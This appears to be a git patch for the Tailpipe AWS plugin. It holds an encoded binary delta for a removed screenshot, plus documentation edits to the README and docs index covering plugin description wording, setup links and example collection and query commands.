z#c{VK%0$;W8@dh?N%?3qEt#4zpU)Aq;z9oGP3E;lS6oln(P(EhIf^uH1cQ4X^WP|5 z(&EL)v!#9VKhi@KpI4(l8MPis*bLk8#cXWHMbW}v<&Rt^eOISIHgnxmtiSuNj6Lo^ zw2X8-1H_=yiIdU@ENjLQd=Bw3bRca73FCL&OjxVlmZU6og;r4%BxwHTz2~V)n?+H{ zKEB4CCfC0|XGnLaY3T0)eQR@(C&{)ym3e{65?eoi+U_(D_=uqeXN89sb0%fuw66811ouxXdo&A}S_KgCQ2>b%G=dBRF*RHhtC;y4TEm?Fv zekQ-JG<4kf4->|3JNS9|DC>!ha2gD#(2t?YcVJmT+eB|(*07I@&}Rwk;q36 zT?%{vxy~0J|_) zy}U%i7d8(!X-LfAptF^UH{60Hy*4dKE2Q^aZdU#R?*u#X^8Z%R8H_v`Dm}53 z_H`M@N~ga=Hd)jgVTEo!=0aw?PJF)f<96>M_1xA7`(KHQY*BB;%#v6%PpRAS(A?-E z?`xZiTQfAfw_G0}Nnvz6<^($((*Ams4qZpG#)VZenVtf>20lbRPtBzG^`you23c=! zaeAT`IF|Co`f|;B@5tv&%C-3y%c)hdbgk}X@eAjzYJf=;s~|o}X_o@}rd!tQO@aMV z#ggs)X}yC^hEN6eqK7%xrb=&&!{1rZAF{-aLJdEBS(93;9KVBY6D%n>QVD+Ux#y$pqiqgHN_Pgw9xC(L{u$ZJ_ zBKdnV$t)%Ve#lSxGb{ZF{UaOXT!D^ts3kkzA|`Y}Rwm5Mjgw=aMBULdu;tiyVPNl9 z_5f=eV{qb$0ov@G^MzlT!cb~A(^WYB3BfT!b8s2>5R=+N(sy)XzuvjmzaT84W24d~ zSI8G@+-#9jVD5hNu`ep+_fp0u&;I9cKHKe_)AI)j|GIh0zxnO5+|~n)7yetZp%_bI z(%Z-HWj#bdbUOz$^ej(B%|G2C`9p@pmLq2?Qd!`L`T@*vo#A8@-Z4YqhU#Ql)#vzp zL_Zq1@dK5kgDEcK%oa+dLK1^2`^KS~OgIleUSg*&?BakXCH7H|vEyKNk)h94Ud=B@ z^U13bEQxFi-j%n-NZ%NVM#KL zFV0wsx*pJmT%tl2m#(d$AbY4UVt0NwQGfiM2stX6o2%~7j4*1AMWq!MCNfUZx_T+3 za^s9E?lk-MuNbDK$uSn>X~(TptJ~aFzLME9Cb~VH*G`Bx)sng&B-s3j@-(3NuiT{^ zuEU5E?p()`(Ye1}+t=Hn=|~^T7N*2XI{zV!qm^y>c&IwMGF~$phvVB`a_O z;~4LfH`UB*0hf0HjNn`{7PL(j%kBh}(FvGf((+L=>?J?0ZVq6f8b|w|4_Gg@Zm5gK zn7h>F#ta!}$t=Yd>9IGcFV+h0&zl^Cg^u z@nx)w|AHT^dM3LerB+LF23|0LJxUZlzWtq9B%kWd+tv60QbQd{VOMB6%8U2}Uj0jl zc@WNSYjFh-m{7%`Gnf@#v?A8^B-BdzP;h)1B8?38QfuR}t{V$l<*z6BSa#}nc{J7n zTqbkpJstj=V7r*Ii)Mrp>k<(Sg2(itWpz^rJh~cweXti16b&#D$b z?-G;6suHnYM7gV|HJ`twT7(3%5h8su`VN#AyC5X@7H>XDK++m%(w=i%R4iPl(C&D%N^uLSaJW7K$5w_SIcA%A) zUt&Gfq2x1{2w8h@$da8J@>c=W@AUU5o5+d(_A223R$21;I~)f^hZ1j>$fw ze;kIJLz5vc1S{mUt50dhri12c&brDL^O)X_q<2Da0W!Ta(~aYVMP~DS9cW~o++KI~ zSQ=n|Z=LzlH+@^Hf)adcuRxDq#Rfl&4cB|f)jze5XQTMn7=2he@lTFpJ-~B;PZX6O z0^umf#iz94$z)!|$Ug0{vn7R_`gtg0-hKg&Zksx9CLhV$-)?oG0)8sE{YL$x%b%EA z*CXLZYElXIB(Pgjr6IrE9is#-@vS9AJ*HDfHM1{mdm)`n28r^udewbX)4Ve(|XN#E3Wz=hxqQkDDkZvi{OLqp~TCL#67xJyMl4J zMYW%3NL1#;{qlm)Q3#n=)N;-X#K9`_^_6HNg&jIB1gBm=zoA*lO&O)$7_>qq+03{f z`@o#=lG+R;OTruGI|q*Qc7GSnO{ESayTXNBp{FhN-*7PpECW?`-GAn1S`tP{_mRD3v!_? z)rrHkq+KIE>yb=Ie4_kgWI6-;h5tL>rNJWaRcz?sCO~EHK5n;NR$y;_deLfMmzm^K zjdAe(ni3zJ{HfsL`PalGMh~yn9ABhTe_2^$+~6jm4a>Y1ayfD}vkPjGWXyIw^hlbT z^6W5bt#i=yGSv-8I=4EtlKD;6G_QAcq?c%=oBwzUW!CrRg{fD%Vo_+==($NW<9>AK zgBBd4z9&UMAVd_q7bOl!r+#P3e$b?}3ahgnfE_{oPR-8Qx(EFe%BYg4zv9OFG2>>e zw*9q9M&lX=x~+di*=(b3`>X~iugw`APZhu5?`Jp1fmJ%niFF}F!OEtiBG|wq`g1pX zk`^PaCRej2*FJoD0j`GEI8Un_r>Qozi#QO33m$DR2VG{v&$EkWB3Tncd5>iGqrGlc zuVsJXpjubbN8$yYrGBUi`j1z+;&mY^0dg#WJ&IwHcyKErHWh zzO8&mIAj2NBSwVJ$zcclW|&_&mf!=juA+a|S1Y0EZS#@HYnrZyD*RKYNmSF_MUR|d z&Bl$w*tZRRx|rs0C!m+Z;8SjSw85tUI3KKgt=S#4t{mt~cx0(h?*W&gIJ(S(f4xMF z)xCLyCRNlmp=$8BG}tghCdNzofL?hNZ)JZ|w2y8hv+cMX6rWFN-pW)hp&5b3R-j`R zz%zxy-CskMTS=(vq_vmqBUSpxQ67%t+Dc7jCM;nXTIvYM@#~N}`plxLTtz!iFeihJ z3`c2?#_aKl4k&QEqd;)rX~(y#aOJb`1w}CkyZJ#uY^JX#%D;?n_?~}ZA4Li7=X^S} z@z^bIVJ7Z+x0T#+l!$#Xsu-xB^O_5se5_`a6Slw3~eDuKs#jnr5! z?g<-0`Xd@ld}0mwavl?6j4OWxYlc3oH|w+PYCLgQzjF9tefwYozJ|V0IzOuSDKul6 zjO>=PUbqJh;=XLIP(|Zg@3pl?x7>#mZwxBm9yeeEK*(GI(FJ?uep(zw%y0xe@12( zmDi_1vd;??D%voDo`mv6wZB_==PTEfSDQ)7t%90ogo)?0k5HHzUlJ}SxF(AIuee8+ zJwsIbzdSZu;U~yanvnC1kQt6UDRk6*$IEYxKL^aOa86xzRjm+Itt}(p@PNCUWpvh6 z`xy+s3qrHE{bm$hlzn5zj+Zeu8KxhW<@^Yz`^bJ8cO11c8z|41Ew_Nb)KL~n^uq2* zck!{kbhk8yZfM=KjS;S)u-$_-YHpfL7-60wgW{%+r>v2E?>^67E6o0>!T2=vvEbMvvEF^*s{nhy=mSiq3M)-5 zH2fpMNwQF9hz7_P1u6AnvHBRU(!F&L*N4(sFF}s|wZ-f$dU#HzAV~N23T4nS&9AYp+=$}8aI05=z zsP54lX9vM#KRc4%wB+Q&sKYt3fcY$DmgvLkAv{zjz2SeORNu!`-hJDdx*X8`GPbT9 zO%8X}TY>KfH%IxYW|TfQ(E`hNx3rp(=ceKzpQ$BUp4s1=(Mu2NYPCy{tPL^2Ms9G> z$_9PivtN+I?hOu{L@L1BYx?a=Di<3t+o{kRm(+NLB%>T05po%ggQ2(O|8fMK)Z{Ph z*1Tals2NO185}~P9sE>g&nH3n$vtMTX$4SZY~KP|h%VO@qVEYs_fj zqKo$te}2ZvK9%{pl5x!TJO!ER=Lic11VxfVz;X!hxLXTr;dSqTde792A|cjBBS;j9G&R2i`zqfy3QN7pt6p>y`Hu<4B>} z=%gG>SMlyY=$*G2z~hq7tRAj-D%Ag-63vHxhs2o}Gk;;WEeK%!IyCT$EojVi?b>O~ zDNMk>!n3c{pKq(;-z>qE@_pO$n|(ljvy%2-5k~djvS@QLA**3PD!J)rwIK%Q#k z*Wwp*(#B%E)AWOEty!iuBv{DnE1V8}5A8&ABp)N;?w9A^CHf)ZMASMPF512MT=$(- zYFhK7^kaEPB%kt8wddDFM${H)^wp_A|E1R~|6Zpblx1;U*c+$rxUd%4DE9M^Ejjj2 z;J>-2!FgIV-G9E@v#klmm>(`PDrh?4th>+qJHXp0S(2!?-&))gp>k8IN@oTPUF+wj zjGdn&WznNV7_7{G@#qX51bET;D7Y^tXDt5Lg>c)&f`{+(Gus?NxR|xdQ5H`wB$K=3Bm3G z;+YQl*Y_KkUdS3{D;mk!RS4Yi4k%uDr~#)8IEf;r`SQersbSx;C}A=TqP?ewaTO{Z z5qWA}0_u!B0NcqkVS@e(o+9b%w5$9AN^!DrD=SK?aFB)d{h<~ax`wjlCX`b54_m!f ziSuTDtB1U8;1vEzvaYO&Wl&_kMqt__JF;Ez@GMdxy$=^DGXN>$ zL#&=l7E>~Hvp858moIq5E>Bd&s?Ed1>6ksh-@3h?oV>niH&g3Cm*^@US6(#qFJ)z7 zSA>~?WIMp)S<|h`yb|ukR44qZ-sNfsKE_bbt(t%0^eM#p=3*U-mPFn!`%Y8e7qW=| zjW>8IPjEeXnW($&p0^tTl@jx8yDRL#@LTuA+w|ix)LQmm=Kd`)%7Bs(gOLRh=M3D~ z5F$qM_a5iKtZPL!Ci^q$(>W>gz4e?rUwGLnwB1=Can3WEjaj`v;pRmY5oS(du@Lk! zj`ifJD8-Ov;1M0RN3(Pt9D~&)-A3c3@Qh=n2*d1QL`u2}Q3-EY_(cBCHKw_J3+ad6 zA224-0Wer~kVk*ZE%X#*ck0A0#aFPzC>3+sB}lPGx$Cca%H7SBWBMUYq%N-y4|b^#@vEgW|6Gf2^&QT66kp6{^}shcOhDDl*upVNAMO? z#iOWl8_51 z^5KQ>r$Myf5#{K^*x;loxrlk?<#wW$5A2yjeNs$a<;TBb#@F|hdQCmQqQ9V0ezXjV zuZex%DT8RNHl!;b0Q`|rDtt2cZlZl1w!(#uHdiv!F2H&bHS?F})b)AEq~2Y~<;UA4 z!Z}m-I@v7%tmC*!#%XuBrc+va`$+x5EadS>r-X8jT3!mOtyE2smN_6`EG4gY-)$AE zlVb)mE!hSU$oY-VL(S~P)7MONUqFYiOZw(zL#9dJ@+S^C?ddAku zGKEwI3^_|--<1`8?V=X*jt_!%Un7mwB%abHemNP;se*t+lzl_sH=-q~)KqS(t>)a6 zTM$?~jwIwGDLtAJuG4Qy(pe}ti%`9l8F^En$Ne|s@&SS+XCk+&T8UCqq9kJ#z_Z5iTpdX>K$a4JG)~`L|@TS$;hCbYyw9DWl zK2T2poqBBZ%U3YfvFM_;$e{A|%p_?9?$|=-H4#7k^*Do-+_zd>AL_3F#}ar>DxEQq zd02ABK<{$hw}vURok+!%$!-nT4Kd|$u~LxmJN<>6@}YW+Y1``i#?wiJk^Ku~+Zgb% zu+aU4dLfpsbfvD5i@}jWI)TxUEqd)^*}MNZ;e_ZWzao`bOv%hSecpaVB#8ZV<$Mw# zbjZq~Vi`dmAyjw85>&`}r`U$4I)+?!=v+3G$8L5<-=q90tH+gb-Gc*KRS!fVxU5hq z*zlENHVqkRCYC$$w_`zYOA{Xl z@b;8$bz_&RPyfx<1cCtrOJx}KS7HZ$y-oh@& zW%%dE@ExVeUGoyNMW;G9>68mUHG*nW8(@T%$ZS*335=~q$h zET$J4O}Z~h?N|g-mxZ@9A*-6}rby+WKVPZ^W$|CKR2QspTrPmDvQM}|Z znOgGe2T@=)FI=Wec4{|e$hQpZFWPS^>8C9nDmSd%`m}y|nF-)1eYV5Oc)ALdjBSLO z?-1JTAj8|Z5BEQn$;9EozSy&+S9jg@v66M{c5La{-@1d}xiLGPx~KP?QD+%F9Jd*+ z^yPk+560gA{viUEanv-^gb z&2e>-H?h=lvB}wQTzVUdIa?&BW|{vNs1Zc$f!9tli2=6yp~DjX8#1w#Rv<_hP1woOUD_F$uYHxAc8jvgw=CoOCF zjEtjg2|Yo1wLB*KPp%u&;)t}v+o+jIIh)noz#No^*Tr-R&1%4;QaBR8Pm~u@__w&d z@;30v8s891xCprk-ScQfj-1oP36*TQS%?o?xHaaL=(EpgM%*Bq{qUWONxgAo$&E1k zp2|5EoTsa+a8MxY#bRKK&_y#8E$F%rP6Y@^pz#~2s}+2a;mSHq8wtA}Y#rzwC`G;f zKwvbiaAi6p5zCTWYQ`Ek9y~cU`so)x<2LS)4d(xflM>AN71(*f(s2YMAFe*i$nAXM zvjMS1uuh+l$ZeU@`3h6Z&4D?0v19SJrUk!1UvC{u&QzGwK4;@wo3G}4!0+LoaUxmf zyl+lBnErRv6{F+>&MdUNbGwU5u@id+x$_LvIqQ7SeVTY*$qX(Eh8w)yHH;W?eg9DG z6Vzt#IlL&((O!ahjT<&HV>=5_P6Mj}>rrEq`k}9x9;|I+PyU?}R!#{toygG7fu|-B z?w-l~g}kHl%+v24+bbOY?I-i$Jd3Y70hE*0^AH=Y5T2<@*tYCP?iQ)Ngoq!u9+s~A zTI|^60pcDHuq(^J@ys=`<#K5GYr&ktvel?iX*^->B;>bx^STg`hAPwWpzZBUsl4<6;BjfCDOuRlJ$WrC_A zB-ZBf&q~+DUul?3e#FQs8xDMN0vWF%8!#`2=l)#Y_tcJajAB_^iE~l{w1>0{&5FbC zUj+oGR#u+=JnbcoBBHOKX?hL@U*^76*wg~`*Sas71}%;R^x*`YY3efS#C`Ctrc+B9 zo_c?+vmbEaz~H)30P>V2Uxm55q0)D4-OZu|$9Y{D6ud%wh4q4qlE#lC?RPzqkI$!@ zN#Pdqf2AX9fk*`elxPtgt^TkCVDy2*r}w1z+1efUc&asNE-s0ad+|W;-3OojD^dJ7 zSV4j6wu})ud&K2nDye$*w@6Q?-LE1IkpcPs;2zk)MOICJ>5FyeZ9I==doq)Gk6>xA zU$QIc?aqMWWSXG1rAE%CNJkgbP zYRe)2Nehv8@ztJ*J9OR6cD4wb|#@CrbL>J?=0%uDd9Ptm6m-wY1j)BP5*M zrzKArl{am>zew-N`RI(=(@l?`=+4DSrHcjI0}v+2Sk(#b+n=vObX&%e2$9H@f00gb z=w}nC5gpd9(_%|GOC7q}N8O!v=yM|)P5{wKbF|EnU)a>u*?jf*yWvc#u8yAqI;pZy zW{S`lc038EJS}V!5~6ryzb}!QIQG-^a*6ixYrxVCuFRSShbw?W4>pvWr#{d^_>Khh z6LQ)14^r6v14a}*>Se3;Bu#uPb8~Zx1@a!NNB?DrEKyPFc7zI2gbjrQdTRUUB00({ zagt0By#rf%(hRFWC)|90zd*RDKtJ&L5lgpf;aEK{(f$Z|kv1b!({Hhctv(OSi!4{E zeTyq-4QsXLCJPAe3$~>F+vGV|;+Sidf*RU72f>qbC(QR2Pg(--$5YZk^R(^c+CMff zo(5-+xQEEI<;ZHm4^74XQ=k}qD6j=eY5e4M4EImG5;KD3{BtCJUex4!n?<7xzW2Oz zJZpau~p4lEkOUV6k&=Iy<&f9JKOD|^^tD*KOIn?KW^!DP z2;a0E&?wk{NWHU_wEYU~w&OPhiGlXuIZvvh9#;apGTe1$FLsfau7|Hfj$iB0-IXG| zoy~zgK{5=USrW?2dPd40_jWzV+3ktW7fkG35DlRRZz6yf6|ft`3ZHSCd#7n;_`TDl zRXb2B7!Ewb6vSsRX1!c$Pcm$Z?0&pR>0|?@yxPxm95j`*^8jVzm>)Ez`RP%AOji(g z^hhYiwyaoBN=5mnHj%V__t3jEj~&92BoQHd)w&jt-#(?hEaxfEf#cNIbP7QNQfJo~ zB6~xIsxO7ls`zO}3bo^;y19!MCh34;iju0^18Mi&&r``oVEuBVf|X9^w)}zMtjb); zJtd0`!%3hiVBs|qv{)mU(yilBHI_=gvWV(ETmt(8ocEjpkZ`R4)s3Mo^3p_DKGi-q zTg}HBrOuKXije-(F_3Ts#GOG@Jy~Xx+ChiF?x;4fUzA&aP^aXbJI>UW%m}ZxMB9P- z?tuV#tAC4X1u|Lh0j$XH@oCct_+w!$BK8JCsvO$U&mEFSxzY`ldmZlLE|B9jEURM> z;}}B}1hQO{+tW1bW$)=obpm$Jm{NQC+g*u^RH8XBpWZeqW}ZS-RkK4X)Qw*@{5_w8 zzL3|E`>$J!fN<$`bB7s*x7Q!u&jS89S;Tf=d82Yyl*e|D@(ADmU}smFLe|pSWK!hR zG9}R!L!Gykt*R8m<1)ZAK<0TlT@o@h56Qm}Uv?Yd8S6tFLY^s_XKBia6T z`rjzc-fW{XqnqhV2C#K7X#Ke$vHiQ&HtoDyBo(p*fs)7j&2$gt-T6NjB;e8I(03}z zZ=DJi=~N-gkr12w9nJu~2tfb!Lofksj=z#&GRGL?fTTb{b8{yX50}e$&26meWnRbM zoeOw9HemB$hSdqfp@Pa)3gHl-U14$IR{}{IBTO!I;9Ot?p^oc_U%JN7Z<4m@<_!Rg zR4+&qx=k0C)fM5eb!S*{dA^!0=a!C#+eGW84(QJ6VB;?tk)86OqlcMZ-ym*xFg5IK z=zYa2>#OaM$K5{-4}rC%Q{_rl;xFB@FpEVQ(#5!Dr^{AdAfb7U*q6{^-iM4aL@nG- zZWnxh&HnVPr~-+1^HaPxF!TDyvif(yMOJe@5;;>Ar?I}i9$E0z?rAmrEEevVHhwFe zo9vu`C{0eUa388WP=?(O_zLjM=nhIzb_Oa@Th%}=z$yO)uwJ)49Ki!yHy6X!q238& z0dmFr1>*^0EFZ35VSfzz59I;`Isad8*B#bmw)8c!3WB02MFb)$qEZ3^0Spj3SO6PM zN)QA@ItUR$%c>wqk+pyXh~f%*K@cOIgd#;iKxrlf2t`5*36YY7knp{6@80#h&wcK$ z-_8Aa|9PK>WX@#foS8Z2%={+0&m$&#cSm9~LS!|@!aqNVabKH$abfsH$!XP59qkS& zq9o|@4l|TxwX!(07Y{yhdmb+;D&N%U61XVX;%_g_m;d<0?D~ONj31%A9OzO?u-?4s z0dEq^_q8GPBZSJpYL;uP^$ zxI-?gn{+JlZtld|=M?Q-w}V4JuGN7KF@WA!zGGI?i%)k&nFhD&i<8s?cMeK7su^s| zmL&M5o$o!9X_}Sv%=8OB;pthI!#R;3U2lFs7i~K5LC}3;hJ9}lT4p zmlF4KT}90isSHDlEA8-=Wd$GqmDh$lU@9x&+(}t&&7&ds_zxVdIg?

+I^#BOoc; z9sc{LI@GtmULL~4xY{cy>bQHHxm`p)V0Sjt;yqk$E@jVG+3PRl=6nupbW?vvOwk5! zOxq?t9FBZnej*dgV;cu=Yu@F$ttC!EvoRZ!kdiAX9?@tq=pkml1>D|VP<_7P`BkfS zFP%Jg_+r)lD$M+XwhQHA$${sCEeG9l2PE*f%v%m&!J{xLi!yk5i? zXxP>J*f_$B+T7cNckfqfjGM622)bu@k@^k1^EhWhwbMkIlGAb1+s)hQ+KU9TLhhL; zc5D=}WdP1;wuAz15l`maKdo7Q#j{$E<(0B|tO{HbsZ7zN9@)1g$ZGl3eq3LSN5l;D z4KBmlE)<`6A-UYKaZT+?yjsE4mcPyUT+d*2x&JG^=Qh?5{Q}$fJkRd?4Pp2%mQM_@nI%GEs zgKUK_k4xfejJ=vbo0BzWBoCN?<}#`Z*NSEMiewK;Hpd4@6qz5|n0Zu=#Q2a@N;%P2 z&TeHc2CekkoAm5~U!=aIVewWcBkBNJ(riI)Sn`On|J@Bl=__^QXI2NC1oQSs0`dw$sUE z*N!r!x$|<&exTA&03G*@&R==8eYna(p>9~a!dxz7{7K~HoT6$jkOlQE|Da&#^hW+d zHUIO5wY3o&%L4fEDf)NsZL;0KnaV5lWl2s`fFm36+F^;fXdFU8?Uj_RHpi=a(Tn_| z+de~=0(3|23)&ZQQcijWxCyjICG|wxZ6@zPcO^!zt>&`oJ#Hx4HauJ4yVX7rq(cD7 zqQ7yDzL0oGhUyU1rq{-bps51&kpXiPrtk{2C7XyI8&4YflfNk_Z?m)B z1eiYzrte(AM9ul73rZyQ%9>CRrM6j#WMqRktyNE+8$#^=UAn&y^WBL5>a}EdH1jh6 zGxOO2aDI-b4&)@Mx26s zth|#hIuA?8wBG2&W%X?1{!$AxrK(jMpG!#&zcMF{U`qRh&(m$IsDgsxxph&q>o(-6 zt_b>+cx_Fr4U^+aJx0k3ba>{Z^LPo_#IYCdBX1-jx7&Ze)SaFP5`dodl6_0#{_lD= zO>a`VEmb zXg7sFr2emD@XxczSp}rN>MI#Qj1mt3koiAD1uacwlU^dqqFoVD39n{b69sLhpz2d^ zPC56GOYt*41N+PJ9B_z$De1^4sz+o_D9~@Y)E_pbxZsyLn}n=-#%Tmf$R0vCw-M~y zQ~)=X+QLlSi@p#St+q_3bY;xQ?0QdXZ|4vE^Cam?s_}+;{e*->OrB1C#1r&Ho~x|p zR?2fVRoq0x=C>FCjpWjSJJF)hsSDUXu(IOu*BqeH@FiDDeZAuk{_ZePM`(Lcn9WVA zYX7iaOb+{J*{Uby!!g^_A^Z`DlKDt0kV}CPxDeAiB2xDm!l3zDL*7JTujl2r?dzKm zydH!j_7XdhsiU^ui&h!k00uG&kNp;TjH{Zk%44h|H%J*si#IQXL%URznnK7S39k0!i-xRp>y3BQZbQD1^UeU zX?2_IAJ&f?)tCQz#`)7@pimfo%?3;WN>eG}q|^vI`<0UB>GAl?0TeJ>9w{1SJH1l#@X}q%<`Y@J2#4?AX%jXZ zm|z)?q$Bm%1NwD))c>OL|BXbxqk!HF!g1(TkK5dLoikGT?jOQn^1gg$3B1We1yTaf)RRK9#;wGWX%zjKnRuXbr#OOG~G6O+`yXZ zBK-$Kohi{G>Fy;s9WSkKl^eok+tL||nbEDRESN>jPT-&Y?zn_ANXzIcO57nrEI zya_O_`fYT2+`F<;mT=c&ji;q^39d^wC?5z8gv>X3OPXGrMG(!FBqwZ5u2J>R=!qDg z`!882fgORtU~hygkZ6&O=o(u6xP>k*lce0=XaA!csXt=}_om7Z2ctZ^C0x_D+h0_~ zUF89pu2A<1|6ItlwbaCyA8Doj7g$ab^szWv_Nr94D<)cGhZYQg57WW4{i-YsSN@&* zRsf+%bh@t&{ML5V=^xua{HYIml0RDs!|LNQ745zoQ7Esmhnz!z7>WwC42kvk^4lkD zsbFz+j3PVjrGbYrA{OGH(*7{6=Q#^;;f+(%eAv095|zCVTD?}tVjtQhs(@`vdPu&; zM2XVyW6GP$TJ4Yre}$p!g*8%5^XVbr04VsYJO9r3GCQ1LZ_Vx*V%>qO;#7sH3jcVi zv^L~;n>Q48{H{llaBaH(Td@!BO-Xu*;>$`ixmV~yrEXydY66_aw;k}G8POl}f;F{U z(uyh=MWes<$`NXq?>{8s-e%E7%OV=jZbuyz)^z!MJpaVgy_6Dyy7{S4$dRFx!3_{j z01g90EWS7(_GHwKvXXvGtbelS$c3Rv8l{7s04Qd@-jeaaW!p&MN=HE#O#-^m_YZbS zM@q`$SwQiW5GUlJuD5He<++!ng-8=%(BDABU4LNy(_;G^XW2h+$nk$2dH%G6n(p46>iP zdw5t|b9fFUdd8rxI$oHX1wy>E8k!$)8cHp(_wz|ogbmW@bfwuDe5P=RvG4=oNVFS4 z1HpctHY~T>2pf(uUhUR%pnP0-lghvVL|kkqOwcOzfs)zk^Ynx8G8jr#xJ%9KiHcTb ztLy+i6hJ*9hmVY6ueJnMw}qP^A0pIZh4^a#!@u~r2Czw}Sdt?nq>!3~tT;VK^ML0) zPQ9tlZ58DC2-P_d;UMC?%e=kJ!hmNxfsDtjFyVaDpe}RpzD7d-^}&Mq%BWI(H{psi zgCOFvn&Ltue@M@?3u2)LbIadlwqGNR*%O{W>&#N$3>2CRbB^4rnHNa{!w2_V>SYah z3OqO>9Lv>TVSs&ov%Y>&EmgIhOjU^%`sQ+8be-RzxAS z8b1?5Re^+_4Dt@i_iQP5ZIDYd5O!GS90Y!BW()hV6 z^B3BpmR_bp0eIX@3~8H3773UR)F3Qb<6=lUH;bz>R_~aO-Jg;L^s;yrJj;C3!pOH3 z!3Hds7*(mM@elh zUT)#ds@bAZ58d%W#^E;E%!m#ua4}e_C+oy^YfIFRd_giUB4-datlu?+rPc2o-Y_@r zCS*a5i8-gXf*Y#=TnX?spdojxt{?B!GzLcx3<*j`VaZvp0TlO*@lu|pw(C0X{^ZZ0 z^m7R;KYGyM8Vqo|Y^j$TvEbG=ik)Rsw}4lU;VxJ&H4s@h>}FW(0Bb&PdBf}d8`Vb7 zlrU^f7zE+kHVYXLvAuT@x7^5wCYfezQMGv6urv)+PEd=IBfRJCm>Oks$kp7awgE;c zmZ~(Cd^`e~Bz<$J!=4*C_^}iSqqJA5RQyk}Ej$K_%U4nzKK9QIj_U!}UDXr-tyxwV z0k~$U-*SiFRg(zrj7pdnr2oUIew}s$rvfr3ylzY%y+RArX}^3a0jKx9*-w;`BG1h218){QNAm26rO(9dm!PaW}o>37aDW=g3k&X31k zh8fovm?$}nmNBplME7mtSKs5tm!tM>qOdwxkW%IDhYrZ8gVN(8Hwe(A9#7kqB{4Ri z#GmDVLB5DYP9a-Z9ZbpK-BZU4U;+6BN0;g1CGc-gb@_&;nRomoxWO2y-@iRu2_f={ z{IgMkirHDm6kV$eE(B;MjeCvSW&*d)KQDAFnev*0?}SMOC-5pP8p;i_3KLy}SyJtlik{j(|_;-P_$jikLt!c#J*5H*F-FwzL;@$l+$Nmom#z*te_W9JrLde(;Ks# z{?W;OvR=05#RAmLeGti+^&D@knQ{92O$N%Yd&kcdB{GSrMd1?N)4#B{L=CAP5V3eK z*J60V+tp~%O&z>up<*|`9?XuDKyNt^6WG3$ESDUyt+nY8UNa8PTo<|X=+Lc%rx`j8 z&_-88<5%sog{Ma>m(kcCA(AZ>IHOE)0NGa;`AeC>0)PTHvNiU~Wnb<$w80}5qhs`^2=0=ISX5dozgB-0e3~kvp!ubmTJEt$<9bYMMma}e^?_$KiW4F5)#21 zY#c4x0MVqqYqIQ}#J^50Y@gwrOXXfse8_D!WcFAlZDI1Iqf=79=yGGsyQi7hOp>$K>-+c7#$G1Hk<|=$2Ytp8 z%?jb*c2J|WQukA}$yqmox+LGS$+!15f)&SdMNJkCnB6~{!#owWUR$a!6r6P?L*hM) z#|)E$BtHGTQaBE_%(vL|v#&?FqXMPFv~FTpvaiOxVd|*CLhZ;AnC!N)zp?XV6k9^! z3HR7@MkTySCp>|QSoY*K;6W%+mLm1eWyxA;*0U-w>|G zEwdl_cvlY3W<0qaF)29-;qk{p?_swm>`M0Oq;yhJ*3F`SrGS@st2G0mFJO;vN>5t; z@no&zl-C-3CGO$v<82FF1vcx%c4CKidfcqIZ)lssfAEjz%RguW9}v*o4SYlF|44Ef zwiJYSQbmX-;LT>Uj*JHoRPUdR$F&!~FK%6EHSl$p82fZ}9 zxix|9%C?LOr{v7#ex82LYUvP{q`MTE1-*9A^eMhXYHRbrbc{nYEqtID(#(u(RBGZC yy758!rB9QbaL)bcfj#1Izh~!+&l(^Zx)!wte0J diff --git a/docs/index.md b/docs/index.md index d7ade298..77174edd 100644 --- a/docs/index.md +++ b/docs/index.md @@ -15,7 +15,7 @@ og_image: "/images/plugins/turbot/aws-social-graphic.png" [AWS](https://aws.amazon.com/) provides on-demand cloud computing platforms and APIs to authenticated customers on a metered pay-as-you-go basis. -The [AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws) for Tailpipe allows you to collect and query AWS logs using SQL to track activity, monitor trends, detect anomalies, and more! +The [Tailpipe AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws) for Tailpipe allows you to collect and query AWS logs using SQL to track activity, monitor trends, detect anomalies, and more! - Documentation: [Table definitions & examples](https://hub.tailpipe.io/plugins/turbot/aws/tables) - Community: [Join #tailpipe on Slack →](https://turbot.com/community/join) From 725cb00b492e468f63cda45dfe4262b2dd3d81f0 Mon Sep 17 00:00:00 2001 From: cbruno10 Date: Tue, 28 Jan 2025 12:26:32 -0500 Subject: [PATCH 163/180] Update README.md --- README.md | 25 +++++++------------------ 1 file changed, 7 insertions(+), 18 deletions(-) diff --git a/README.md b/README.md index 57336689..076d0cba 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ [AWS](https://aws.amazon.com/) provides on-demand cloud computing platforms and APIs to authenticated customers on a metered pay-as-you-go basis. -The [Tailpipe AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws) for Tailpipe allows you to collect and query AWS logs using SQL to track activity, monitor trends, detect anomalies, and more! +The [AWS Plugin for Tailpipe](https://hub.tailpipe.io/plugins/turbot/aws) allows you to collect and query AWS logs using SQL to track activity, monitor trends, detect anomalies, and more! - **[Get started →](https://hub.tailpipe.io/plugins/turbot/aws)** - Documentation: [Table definitions & examples](https://hub.tailpipe.io/plugins/turbot/aws/tables) @@ -14,9 +14,6 @@ The [Tailpipe AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws) for Tailpi Collect and query logs: ![image](docs/images/aws_cloudtrail_log_terminal.png) -Run detections in a dashboard: -![image](docs/images/aws_cloudtrail_log_mitre_dashboard.png) - ## Getting Started Install Tailpipe from the [downloads](https://tailpipe.io/downloads) page: @@ -37,7 +34,7 @@ Install the plugin: tailpipe plugin install aws ``` -Configure your [connection credentials](https://tailpipe.io/docs/reference/config-files/connection/aws), [table partition](https://tailpipe.io/docs/manage/partition), and [data source](https://tailpipe.io/docs/manage/source): +Configure your connection credentials, table partition, and data source ([examples](https://hub.tailpipe.io/plugins/turbot/aws/tables/aws_cloudtrail_log#example-configurations)): ```sh vi ~/.tailpipe/config/aws.tpc @@ -56,17 +53,12 @@ partition "aws_cloudtrail_log" "my_logs" { } ``` -Download, enrich, and save logs from your S3 bucket: +Download, enrich, and save logs from your source ([examples](https://tailpipe.io/docs/reference/cli/collect)): ```sh tailpipe collect aws_cloudtrail_log ``` -> [!NOTE] -> When running `tailpipe collect` for the first time, logs from the last 7 days are collected. Subsequent `tailpipe collect` runs will collect logs from the last collection date. -> -> For more information, please see [Managing Collection](https://tailpipe.io/docs/manage/collection). - Enter interactive query mode: ```sh @@ -83,8 +75,6 @@ group by event_source, event_name order by event_count desc; ``` -For example: - ```sh +----------------------+-----------------------+-------------+ | event_source | event_name | event_count | @@ -104,9 +94,11 @@ Pre-built dashboards and detections for the AWS 